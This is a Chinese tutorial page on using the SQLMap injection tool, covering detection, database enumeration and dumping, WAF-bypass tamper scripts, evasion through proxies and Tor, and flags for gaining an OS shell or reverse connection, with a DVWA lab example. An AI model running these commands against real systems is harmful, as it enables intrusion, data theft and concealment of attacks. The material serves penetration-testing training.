当前位置: 首页 > news >正文

【安全工具】SQLMap 使用详解:从基础到高级技巧

目录

简介

一、安装与基础配置

1. 安装方法

2. 基本语法

二、基础扫描技术

1. 简单检测

2. 指定参数扫描

3. 批量扫描

三、信息收集

1. 获取数据库信息

2. 获取当前数据库

3. 获取数据库用户

4. 获取数据库版本

四、数据提取技术

1. 列出所有表

2. 提取表数据

3. 提取特定列

五、高级注入技术

1. 指定注入技术

2. 多线程扫描

3. 绕过WAF

六、实战案例演示

案例1:DVWA Low级别注入

案例2:POST请求注入

案例3:从文件读取请求

七、防御规避技巧

1. 延迟设置

2. 随机代理

3. 使用Tor网络

八、输出与报告

1. 保存结果到文件

2. 生成HTML报告

九、风险控制

1. 安全扫描模式

2. 测试级别

十、实用小技巧

简介

SQLMap是一款自动化 SQL 注入工具,能够检测和利用 SQL 注入漏洞。以下是全面的使用指南,包含基础命令、高级技巧和实战案例。

一、安装与基础配置

1. 安装方法

Kali Linux

sudo apt update && sudo apt install sqlmap

其他Linux系统

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Windows

  • 下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

2. 基本语法

sqlmap.py -h

二、基础扫描技术

1. 简单检测

sqlmap.py -u "http://example.com/page.php?id=1"

2. 指定参数扫描

sqlmap.py -u "http://example.com/page.php?id=1" -p "id"

3. 批量扫描

sqlmap.py -m urls.txt  # urls.txt中包含多个目标URL

三、信息收集

1. 获取数据库信息

sqlmap.py -u "http://example.com/page.php?id=1" --dbs

2. 获取当前数据库

sqlmap.py -u "http://example.com/page.php?id=1" --current-db

3. 获取数据库用户

sqlmap.py -u "http://example.com/page.php?id=1" --current-user

4. 获取数据库版本

sqlmap.py -u "http://example.com/page.php?id=1" --banner

四、数据提取技术

1. 列出所有表

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables

2. 提取表数据

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

3. 提取特定列

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "column1,column2" --dump

五、高级注入技术

1. 指定注入技术

sqlmap.py -u "http://example.com/page.php?id=1" --technique=B  # 布尔盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=T  # 时间盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=E  # 报错注入

2. 多线程扫描

sqlmap.py -u "http://example.com/page.php?id=1" --threads=5

3. 绕过WAF

sqlmap.py -u "http://example.com/page.php?id=1" --tamper="space2comment"

常用tamper脚本:

  • space2comment:空格替换为注释

  • between:用BETWEEN替换大于号

  • randomcase:随机大小写

  • charunicodeencode:字符编码转换

六、实战案例演示

案例1:DVWA Low级别注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --batch --dbs

案例2:POST请求注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1  --data="id=1&Submit=Submit" --method POST

案例3:从文件读取请求

sqlmap.py -r request.txt  # request.txt保存了Burp拦截的请求

七、防御规避技巧

1. 延迟设置

sqlmap.py -u "http://example.com/page.php?id=1" --delay=2  # 2秒延迟

2. 随机代理

sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://proxy:port"

3. 使用Tor网络

sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

八、输出与报告

1. 保存结果到文件

sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=/path/to/results

2. 生成HTML报告

sqlmap.py -u "http://example.com/page.php?id=1" --dump --output-dir=report --format=HTML

九、风险控制

1. 安全扫描模式

sqlmap.py -u "http://example.com/page.php?id=1" --risk=1  # 低风险

2. 测试级别

sqlmap.py -u "http://example.com/page.php?id=1" --level=3  # 1-5,默认1

十、实用小技巧

  1. 获取操作系统shell

sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
  1. 获取反向连接

sqlmap.py -u "http://example.com/page.php?id=1" --os-pwn
  1. 暴力破解表名

sqlmap.py -u "http://example.com/page.php?id=1" --common-tables

4.获取sql shell

sqlmap.py -u "http://example.com/page.php?id=1" --sql-shell
http://www.dtcms.com/a/264794.html

相关文章:

  • 【字节跳动】数据挖掘面试题0001:打车场景下POI与ODR空间关联查询
  • C++实现状态机
  • 20250703|Leetcodehot100之739【】今天计划
  • Linux环境下使用 C++ 与 OpenCV 实现 ONNX 分类模型推理
  • 洛谷P2119 [NOIP 2016 普及组] 魔法阵【题解】【前缀和优化】
  • Java 大视界 -- Java 大数据在智能医疗健康管理中的慢性病风险预测与个性化干预(330)
  • Javaee 多线程 --进程和线程之间的区别和联系
  • nvm:NodeJs版本管理工具下载安装与使用教程
  • macOS挂载iOS应用沙盒文件夹
  • 飞算 JavaAI 智控引擎:全链路开发自动化新图景
  • 【字节跳动】数据挖掘面试题0003:有一个文件,每一行是一个数字,如何用 MapReduce 进行排序和求每个用户每个页面停留时间
  • 橡胶硬度计在不同领域中的应用
  • mybatis考试
  • 无人机一机多控技术的核心要点
  • 亿级物联网MQTT集群:OpenResty深度优化实践
  • Docker for Windows 设置国内镜像源教程
  • 基于spark的航班价格分析预测及可视化
  • v3 中的storeToRefs
  • AWS WebRTC:根据viewer端拉流日志推算视频帧率和音频帧率
  • uniapp实现图片预览,懒加载
  • 数据分类分级系统的建设思路
  • Rust 安装使用教程
  • 【已解决】执行conda init提示No action taken.
  • 客服机器人知识库怎么搭?智能客服机器人3种方案深度对比(含零售落地案例)
  • 部署KVM 虚拟化平台
  • AI驱动,治理升级!数造科技亮相中博会,打造一站式数据开发治理新范式
  • OFA-PT:统一多模态预训练模型的Prompt微调
  • 暴力破解漏洞与命令执行漏洞
  • PHP 命令行工具的常用选项详解
  • 图像二值化方法及 Python OpenCV 实现